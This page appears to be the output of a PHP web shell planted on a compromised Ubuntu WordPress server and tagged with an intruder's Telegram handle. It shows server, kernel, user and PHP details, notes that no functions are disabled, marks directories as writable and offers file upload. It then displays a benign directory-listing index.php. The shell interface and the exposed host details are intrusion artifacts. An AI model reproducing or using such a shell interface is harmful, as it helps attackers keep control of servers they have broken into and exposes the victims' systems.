https://t.me/AnonymousX5
Server : Apache/2.4.52 (Ubuntu)
System : Linux vps-b5787e30 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : zeljko ( 1002)
PHP Version : 8.2.25
Disable Function : NONE
Directory :  /var/www/html/sims/wordpress/extracted_files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/sims/wordpress/extracted_files/index.php
<?php
// Simple access control
if (!isset($_GET['run'])) {
    die("Access denied.");
}

// Directory to scan
$directory = './'; // Change this path as needed

// Check if the directory exists
if (is_dir($directory)) {
    // Open the directory
    if ($handle = opendir($directory)) {
        echo "<!DOCTYPE html>
        <html lang='en'>
        <head>
            <meta charset='UTF-8'>
            <meta name='viewport' content='width=device-width, initial-scale=1.0'>
            <title>Directory List</title>
            <link href='https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css' rel='stylesheet'>
        </head>
        <body>
            <div class='container mt-5'>
                <h1>List of Directories in '$directory'</h1>
                <ul class='list-group'>";

        // Read files and directories
        while (false !== ($entry = readdir($handle))) {
            // Skip special entries (like . and ..)
            if ($entry != "." && $entry != "..") {
                // Check if the entry is a directory
                if (is_dir($directory . $entry)) {
                    // Create a link to enter the directory
                    echo "<li class='list-group-item'><a href='$directory$entry' class='btn btn-link'>$entry</a></li>";
                }
            }
        }
        
        echo "</ul>
            </div>
        </body>
        </html>";
        
        closedir($handle);
    } else {
        echo "Unable to open the directory.";
    }
} else {
    echo "The specified path is not a directory.";
}
?>

https://t.me/AnonymousX5 - 2025